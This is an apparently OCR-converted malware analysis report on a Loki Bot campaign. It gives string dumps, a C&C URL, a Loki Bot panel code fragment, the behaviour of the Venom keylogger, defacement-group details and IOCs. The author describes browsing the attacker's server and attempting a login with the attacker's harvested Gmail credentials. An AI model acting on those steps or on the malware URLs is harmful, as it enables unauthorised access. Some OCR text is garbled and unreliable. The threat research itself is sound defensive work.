×419000 16 9(a)9(a 9(a	x418946	10	etzrB
X410990 10 705(705.705	x418990	16	%s\%s.%s
x4189b0 164 aPLib v1.01 - the smaller the better :)Copyright (c) 1998-2009 by Joergen Ibsen	x4189b0	164	aPLib v1.01 - the smaller the better :)Copyright (c) 1998-2009 by Joergen Ibsen
x418bf1 6 Qkkbal	x418bf1	6	Qkkbal
x418e4d 5 wn>Jj	x418e4d	5	wn>Jj
x418f92 11 getaddrinfo	x418f92	11	getaddrinfo
x418fa0 12 freeaddrinfo	x418fa0	12	freeaddrinfo
x418fae 10 WS2_32.dll	x418fae	10	WS2_32.dll
x418fbc 12 GetLastError	x418fbc	12	GetLastError
x418fcc 12 SetLastError	x418fcc	12	SetLastError
x418fdc 9 HeapAlloc	x418fdc	9	HeapAlloc
x418fe8 8 HeapFree	x418fe8	8	HeapFree
x418ff4 14 GetProcessHeap	x418ff4	14	GetProcessHeap
x419004 12 KERNEL32.dll	x419004	12	KERNEL32.dll
x419014 12 CoInitialize	x419014	12	CoInitialize
x419024 14 CoUninitialize	x419024	14	CoUninitialize
x419036 16 CoCreateInstance	x419036	16	CoCreateInstance
x419048 9 ole32.dll	x419048	9	ole32.dll
x419052 12 OLEAUT32.dll	x419052	12	OLEAUT32.dll
x41a0e2 6 F[tMF[x41a0e2	6	F[tMF[
x41a0f5 7 IF[t]F	x41a0f5	7	IF[t]F[
x4a0074 58 http://login-mail-server.s3rv.me/server/Panel/five/fre.php	x4a0074	58	http://login-mail-server.s3rv.me/server/Panel/five/fre.php
x5f0ca1 7 nProgra	x5f0ca1	7	nProgra
x5f0cd9 9 T\wECKM[u	v5f0cd0	9	T\wECKM[u

hxxp://login-mail-server.s3rv.me/server/Panel/five/fre.php - C&C for "browser.exe"





DIGGING DEEPER: FINDING THE C&C (AN INDONESIAN WEBSITE) HACKERS

So we are now identified the C2C of the malware. We will try to get into one of the C2C of a different variant. The C2C for two samples worked for me ;)

An Indonesian website has been compromised and kept as LOKI BOT C2C (several others may be).

Index of /wp-includes/look/Panel									
Name	Last modified	Size Description							
Parent Directo	ry	-							
Panel.zip	2017-05-23 21:01	2.3M							
Panel/	2017-05-23 21:21	-							
five/	2016-02-12 23:12	-							
five1/	2017-05-19 05:35	-							
five2/	2017-05-19 05:35	-							
five3/	2017-05-19 05:35	-							
five4/	2017-05-23 21:22	-							
five5/	2017-05-23 21:22	-							
five6/	2017-05-23 21:22	-							
five7/	2017-05-23 21:22	-							
five8/	2017-05-23 21:22	-							
five9/	2017-05-23 21:22	-							
five10/	2017-05-23 21:22	-							

By just peeking the folders we can assume , a big campaign itself going on. The **"panel.zip"** contains the very promising source objects of Loki Bot.

Panel 🕨	five	~ C	✓ C Search five				
	Name	Date modified	Туре	Size			
	✓ ↓ inc	6/1/2017 11:14 AM	File folder				
	📝 fre.php	4/15/2016 9:40 PM	Notepad++ Docum				
٠ ٢	index.html	2/13/2016 8:12 AM	HTML File				
:5	🔟 install.php	6/24/2016 12:07 AM	Notepad++ Docum				
	📔 PvqDq929BSx_A_D_M1n_a.php	4/16/2016 1:24 AM	Notepad++ Docum				



▶ Tive ▶ Inc ▶ page	~
Name	Date modified
📝 bot.inc.php	4/15/2016 11:01 PM
📷 command.inc.php	4/15/2016 9:57 PM
📝 data.inc.php	4/15/2016 11:01 PM
📷 dump.inc.php	4/15/2016 9:57 PM
📝 error.inc.php	4/15/2016 9:57 PM
📔 header.inc.php	4/15/2016 9:57 PM
📷 login.inc.php	4/16/2016 12:23 AN
📷 main.inc.php	4/15/2016 11:01 PM
📷 report.inc.php	4/15/2016 11:01 PM
📔 settings.inc.php	4/15/2016 10:01 PM
📈 wallet.inc.php	4/15/2016 9:57 PM

If we get into furthermore, there are full sources for the threat:

If we try to see the source of "bot.inc.php", we can confirm that this whole campaign is "Loki Bot: spyware. This can be one of the stage of ongoing "APT"

= bot in	ac obo 🖂	
1		
2		
2		$P_{\text{Decomposition}} = (P_{\text{Decomposition}} = P_{\text{Decomposition}} = P_{\text{Decomposition}}$
3		<pre>spageSearch = sSearchixi = sDatalable = NOLL;</pre>
5	Ц	((Sect(S_REQUEST[Sec]))
7	- T	
6		SEC SERVED (HEROHEST METHODIA) HEOSTA)
	Д	(SERVER[REQUEST_METHOD] FOST)
10	T	
11		CPageSearch = [[sc]], implode(]], Sco);
12		vragesearch = asc= . Implote([, vcc),
13		else if (isset (\$ PFOHFST ('sc')) & \$ SERVED ("PFOHFST METHOD") == "GFT")
14	L.	/ CIERCIA CALCERT CONTRACT CONTRACTICA TERECTICO
15	T .	SPageSearch = '≻=', trim(& REOUEST['sc']);
16		$S_{CC} = explode(" ", S_ROUFST['sc'])$
17		
18		
19		<pre>SSearctTXT = array("text", implode(',', Scc), "");</pre>
20		
21		<pre>\$DataTable = \$LokiDBCon->GetBots(\$StartFrom, \$PageLimit, NULL, NULL, NULL, \$cc);</pre>
22		
23		else if(isset(\$ REQUEST['st']))
24	La	
25		<pre>\$binid = trim(\$ REQUEST['st']);</pre>
26		<pre>\$SearctTXT = array("text", \$binid, "");</pre>
27		<pre>\$PageSearch = '&st=' . \$binid;</pre>
28		<pre>\$DataTable = \$LokiDBCon->GetBots(\$StartFrom, \$PageLimit, NULL, NULL, NULL, NULL, NULL, \$binid);</pre>
29	-	3
30		else

There are numerous hidden jewels inside this C2C, which needs more investigation. As of now, the good news is that we have identified clearly that the threat we are talking about is regarding the "Loki Bot".

I can very well stop analyzing now, since we understood the whole infection chain and the details about the threat. But let's deviate a bit from main stream and dig more.



If we go to the website itself, the hackers have been defaced the same:



There are websites and hackers' pseudo names in the defacement notes in the website. In that if we go to hxxp://siyah-h.org/, it claims that they are Turkish hackers.





The description in Turkish, if we translate, we get their motive for the hacking community

NoRSLaR.ORG'a Hoşgeldiniz. ×	Welcome to NoRSLaR.ORG.
NoRSLaR.ORG SanaL aLemde YeR aLTi Hack Kültürünü	NoRSLaR.ORG SanaL aLemde YE AYLTi Hack is an oasis
Gerçek Yüzüyle Yansitmak için Kurulmuş Bir oLuşumdur.	established to reflect the Cultural Actual Face. The team,
Konusunda Uzman ProfesyoneLLerden oLuşan Ekibi iLe	consisting of Expert Professors, has a mission to fight against
ülkemize ve milli oluşumlarımıza zarar verenlerle savaşmayı	my country and my nationalities and to teach this culture to the
ve ülkemizin gençlerine bu kültürü öğretmeyi misyon	young people of our country. The importance of cyber warfare is
edinmiştir. Siber savaşların önemi her geçen gün gazete ve	an inevitable reality that we hear every day in newspapers and
haberlerde duyduğumuz kaçınılmaz bir gerçektir,bizde bu	news, and we continue to grow with our ever-growing formations
savaşta ülkemize destek vermek için her geçen gün büyüyen	to support our country in this war.
oluşumumuzla durmadan büyümekteyiz bizi izlemeye devam edin.	☆ 🗐 < 🖉 Suggest an edit

The main website has one mirror website and also a community website and in community, users claiming their hacked websites:

Arargah.org/forum/index.php?forums/göwde-gösterisi.12/	🟠 🗸 📀 🗌 🖓 DuckDuckGo	s 🚽	🛧 🛛 🖌 🖌 🖸
	RanLiK óRDu re Kurşun İşlemez		Giriş Yapın veya Üye Olun
Ana Sayfa <u>Forumlar</u> Üyeler			
Forumları Ara Son Mesajlar			
Ana Sayfa Forumlar ~ HaCK PLaTFoRuM ~			21
Göwde Gösterisi Hack Peylasm yerldr			
Başlık	Açılış Tarihi Yanıt	Gösterim	Son Mesaj 1
simgurup down :) 4LC4TR4Z FROST, Din 1945	Yan Gost	t: 3 rim: 13	4LC4TR4Z FROST Dün 21:04
1 Site Hacked HackMaSter, Sal 17:43	Yan Göst	t. 3 rrim: 12	4LC4TR4Z FROST Dün 19:42
1 site daha Hacked HaCKMaSTeR HaCKMaSTeR, Sak 20:15	Yan Gost	t: 1 erim: 15	4LC4TR4Z FROST Dün 19:41
Part 1 Owned. By_uMuT, Sal 18:44	Yan Göst	t: 1 rim: 9	dexter15 Sali 19:07
1 site daha Hacked HaCKMaSTeR HaCKMaSTeR, Sah 18:03	Yan Göst	t: 1 erim: 10	By_uMuT Salt 18:03
7 Site Hacked HuCKMsTeR, Sai 13:21	Yan Göst	t: 3 erim: 14	HaCKMaSTeR Sali 17:44

This is the community of hackers, who are claiming their contribution in hacking





Webshells and forums

ROAD TO VENOM SPYWARE

The hackers behind this campaign can be likely the above mentioned "Turkish Hackers". But we do not know if they are the guys who just compromised the website and then, some others using this compromised website as their campaign C&C. Anyways, at this point, we can just assume things.

On further investigation,

One more seed found was, another malware executable hiding in one of the folder in compromised C&C website. (The website had lot other hidden proofs, but we will try to hold the main stream)



arrow-pointer-blue.png	2016-05-13 16:50 /93
blank.gif	2016-05-13 16:50 43
crystal/	2016-05-13 16:50 -
down arrow-2x.gif	2016-05-13 16:50 84
down arrow.gif	2016-05-13 16:50 59
icon-pointer-flag-2x>	2016-05-13 16:50 1.3K
icon-pointer-flag.png	2016-05-13 16:50 783
media/	2016-05-13 16:50 -
rss-2x.png	2016-05-13 16:50 1.3K
rss.png	2016-05-13 16:50 608
server.exe	2017-03-18 02:56 1.3M
smilies/	2016-05-13 16:50 -
spinner-2x.gif	2016-05-13 16:50 8.3K
spinner.gif	2016-05-13 16:50 4.1K
toggle-arrow-2x.png	2016-05-13 16:50 354
toggle-arrow.png	2016-05-13 16:50 289
uploader-icons-2x.png	2016-05-13 16:50 3.5K
uploader-icons.png	2016-05-13 16:50 1.5K
w-logo-blue.png	2016-05-13 16:50 3.0K
wlw/	2016-05-13 16:50 -
wpicons-2x.png	2016-05-13 16:50 15K
wpicons.png	2016-05-13 16:50 6.9K
wpspin-2x.gif	2016-05-13 16:50 8.9K
wpspin.gif	2016-05-13 16:50 2.2K
xit-2x.gif	2016-05-13 16:50 825



From the initial analysis, we found that this is a spyware. Malware reveals very promising details.

Once we double click the malware, it suddenly pops up a fake message that it is not compatible with the version of windows we are running:





Once we press "OK", the malware will drop another executable "logmanager.exe", its components and executes at "C:\ProgramData\SysLogs".

This PC 🕨 Local Disk (C:) 🕨 ProgramData 🕨 SysLogs	~ C	Search SysLogs
Name	Date modified	Туре
🔌 kstrokemodule.dll	6/3/2017 10:26 AM	Application extensi
👰 logmanager.exe 🔶	6/3/2017 10:26 AM	Application
Iogmanager.exe.Config	6/3/2017 10:26 AM	CONFIG File
logprocessingmodule.dll	6/3/2017 10:26 AM	Application extensi
Newtonsoft.Json.dll	6/3/2017 10:26 AM	Application extensi
🚳 sqlite3.dll	6/3/2017 10:26 AM	Application extensi
📷 task.xml	6/3/2017 10:26 AM	Notepad++ Docum
🔌 tasksmodule.dll	6/3/2017 10:26 AM	Application extensi

If we search for one of the dll "kstrokemodule.dll", it is highly malicious:

SHA256:	4940f55b	a4b8eb391715db529	970aea2ffd7f2704b85eff99281	d7caf5c4deaf2
File name:	kstrokem	odule.dll		
Detection ratio	36 / 61			
Analysis date:	2017-05-	17 17:41:16 UTC (2	weeks, 2 days ago)	
📼 Analysis 🧕	File detail	X Relationships	Optimized and the second se	Comments
Antivirus			Result	
Ad-Aware			Trojan.GenericKD.4711173	
AegisLab			Psw.Msil.Bmlv!c	
ALYac			Trojan.Keylogger.MSIL.uga	
Arcabit			Trojan.Generic.D47E305	
Avast			Win32:Malware-gen	
AVG			PSW.MSIL.BMLV	
AVware			Trojan.Win32.Generic!BT	
BitDefender			Trojan.GenericKD.4711173	
CAT-QuickHeal			TrojanSpy.Skeeyah	

The execution level is high as we can see in the process view, which would seek the highest execution privilege in its manifest

🛛 😰 logmanager.exe 3 0 21 chec\REM SugarLogger High 686 B	👰 logmanager.exe	3 0 21 chec\REM SugarLogger	High	686 B
---	------------------	-----------------------------	------	-------

The properties of the file shows the description as "sugarloggermonitor" (sounds spyware ofcourse):



_		
8	Q	logmanager.exe Properties
	General Compa	atibility Security Details
		-
		logmanager.exe
	Type of file:	Application (.exe)
	Description:	SugarLoggerMonitor
	Location:	C:\ProgramData\SysLogs
	Size:	43.5 KB (44,544 bytes)
	Size on disk:	44.0 KB (45,056 bytes)
	Created:	Today, June 3, 2017, 56 minutes ago
	Modified:	Today, June 3, 2017, 56 minutes ago
	Accessed:	Today, June 3, 2017, 56 minutes ago

Our search for type of Spyware ends here:

We can see the RSDS pdb file format details retrieved from the malware:

Property	Value
Age	1
Size (bytes)	284
Format	RSDS
GUID	FC0FC56F-DAE7-4CD2-A4AB-1CE7FD44E3DB
TimeDateStamp	Fri Feb 10 09:01:01 2017
File Name	c:\users\mattj\desktop\venom logger final\sugarloggermonitor\sugarloggermonitor\obj\x86\release\sugarlogg

Who is MattJ? No comments

This reveals perfectly, which spyware we are dealing with:

It's "Venom Logger"!



The venom Spyware has its own website for buying it:



Website



In underground forum



This is the one of interface of the Venom Spyware:

File	Launch	Action	Help			_
VENOM LOGGEF	1. Pr file o 2. He	ogram: Program on a system will s ost PC: The comp	refers to the e tart monitorin puter on which	Venom Helper executable file generat g the logs of that PC. you want to perform	ted by this software. monitoring.	Running that
Logs	Sp	ecifications				
Execution	1	SMTP Upload	1	Email Settings		
Output		FTP Upload		FTP Settings		
Assembly		Save logs loc Logs Viewer o	ally on local System	L		
Settings						
	Log	g Settings				
		Interval	Minu	tes 🔽		
		Screenshots				

That said let's find out more details on it:

The malware once executed, tries to resolve "smtp.gmail.com" and then immediately tries to communicate with a domain "icanhazip.com"

1500 5177.262208 172.16.64.148	172.16.64.147	DNS	Standard query A smtp.gmail.com
1501 5177.262531 172.16.64.147	172.16.64.148	DNS	Standard query response A 172.16.64.147
-	F. U 1155	6 1	
<u>70</u>	Follow UDP	Stream	- ° ×
Stream Content			
#^smtp.gmail.com	. <mark></mark> #^	.smtp.g	mail.com@.



Filter	r: tcp.stream eq :	197		✓ Expres	ssion Clear Apply			
No.	Time	Source	Destination	Protoco	ol Info			
1	1514 5178.39668	4 172.16.64.148	172.16.64.147	TCP	49275 > 80 [SYN]	Seq=0 Win=8192 Len=	0 MSS=1460 WS=256	SACK
1	1515 5178.39680	3 172.16.64.147	172.16.64.148	TCP	80 > 49275 [SYN,	ACK] Seq=0 Ack=1 Wi	n=14600 Len=0 MSS=	1460
1	1516 5178.39698	5 172.16.64.148	172.16.64.147	TCP	49275 > 80 [ACK]	Seq=1 Ack=1 Win=655	36 Len=0	
1	1517 5178.39786	3 172.16.64.148	172.16.64.147	HTTP	GET / HTTP/1.1			
1	1518 5178.39791	n		Follow	TCP Stream		- • ×	
1	1519 5178.39939	Streem Centent						
3	1520 5178,39967	Stream Content						
1	1521 5178.39980	GET / HTTP/1.1						
1	1522 5178,39991	Host: www.icanna	zip.com				=0	
1	1523 5178.39991	connection. Reep	ACTVE					
		HTTP/1.1 200 OK						

This reveals that, the spyware would harvest details from the infected machine and then would send it to the remote Gmail account which should be handled by the hacker.

Also by connecting to "icanhazip.com" spyware is seeking the victim IP address, may be for tracking geo location.

Since we found details about the SMTP address, let's try to find out the details from the config file of the spyware:

There you go





The config file gives promising details of the remote hacker Gmail address, password and the smtp port with address, where the spyware would send the harvested details from the victim machine.

We can see that the malware would try to disable taskmanager, UAC, msconfig, cmd etc.

So if try to authenticate with the credentials with google, we will come to know that the hacker uses two factor authentication.

Go	ode
Ver This c wants	ify it's you levice isn't recognized. For your curity, Google to make sure it's really y carn more rice 00@gmail.com
Get a	prompt on your Infinix Hot Note and tap Yes to sign
More	options SEND
Go	ode
Go Ver This o wants O Try ar	ogle ify it's you device isn't recognized. For your security, Google it's really you. Learn more p@gmail.com hother way to sign in
Go Ver This c wants C Try au	ogle ify it's you device isn't recognized. For your security, Google it's really you. Learn more Degmail.com hother way to sign in Tap Yes on your phone or tablet
Go Ver This c P Try au	ogle ify it's you device isn't recognized. For your security, Google if a really you. Learn more @gmail.com hother way to sign in Tap Yes on your phone or tablet Get a verification code at
Go Ver This c wants Try at	evice isn't recognized. For your security, Google with the reality you. Learn more Comparison of the reality you. Learn more Comparison of the reality of
Go Ver This c wants C Try au	ogle ify it's you device isn't recognized. For your security, Google if and the really you. Learn more if and the really you have a security and the real you have a security and the reall

So what we can infer at this point?

The Loki Bot campaign is ongoing and the C2C of Loki Bot, was compromised website by the "Turkish Hackers". The C2C contained another Spyware named "Venom".

The venom has the smtp details of the hacker,



With rich******@gmail.com, and his device is "infinix Hot Note", where his mobile number ends with ****** 56.

We can assume or guess that this offender would be one of the team member or himself doing entire Campaign or even can be just another hacker with entirely different campaign who is sharing the C&C of Loki .

INDICATORS OF COMPROMISE

URLS

hxxps://a.pomf.cat/cxiwmh.doc hxxps://a.pomf.cat/ijwfmm.hta hxxp://www.naturalspinfrance.com/js/time/browser.exe %temp%/svchost32.exe

MD5 Hash

Signed Document.docx	5F4BFBE8ED6366209F0AE5152D42A8C1
cxiwmh.doc	90a924cc9710a507b2495f73e733b13a
ijwfmm.hta	154be667ffcbde7d4bef9a117f687c02
Browser.exe	aa8385c280229e3246b1fd4ed8ebc2fb

Others

Server.exe	54B3584B9C45EDB7C1CAEDC2888AEA89
logmanager.exe	9FE0D2EDBA7D8DF4F8D015323509BE0D
Kstrokemodule.dll	F45591BD861A18E936BA7883DD7E3FFA
logmanager.exe.Config	E3E74F9486C48E56455A33C19E62EC0F
logprocessingmodule.dll	5AA25A8684729CB9B890301736FDD615

tasksmodule.dll

3212D5A4C086E8D86DDDB36F6D3EA3F4

URLs

smtp.gmail.com

icanhazip.com

CONCLUSION

We have covered from the initial spam mail till the suspected threat actors behind this campaign. Throughout the investigation, we found several other factors and had to go in branched fashion to investigate. But the paper was prepared mainly to focus the Loki Bot Campaign which is prevalent as of this writing. This investigation would give a confirmation regarding the "Loki Campaign" happening throughout GCC (even globally) and exposed the "Turkish Hacker Group" out there. Moreover we could expose another dangerous Spyware "Venom Spyware" and the Offender's Details.

If we could see that, there were no macro codes or didn't required any human intervention for the infection to happen. Moreover, this threat could bypass all security measures easily to infect the Machine. This is really scary. It is high time for us to do proactive measures to manacle these kinds of threats. This should be given prime importance, as the threat actors and threat landscape is becoming wider and wider.

RECOMMENDATION:

I am not going to give numerous bullet points ;)

But just three points,

#Three points are always catchy and soothing for eyes ;)

- ✓ User Awareness regarding the security threats,
- ✓ Patch the Machines periodically
- ✓ update security products.



REFERENCE

https://cysinfo.com/nefarious-macro-malware-drops-loki-bot-across-gcc-countries/

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0199

https://blog.nviso.be/2017/04/12/analysis-of-a-cve-2017-0199-malicious-rtf-document/

https://www.mdsec.co.uk/2017/04/exploiting-cve-2017-0199-hta-handler-vulnerability/

https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html

https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199_useda.html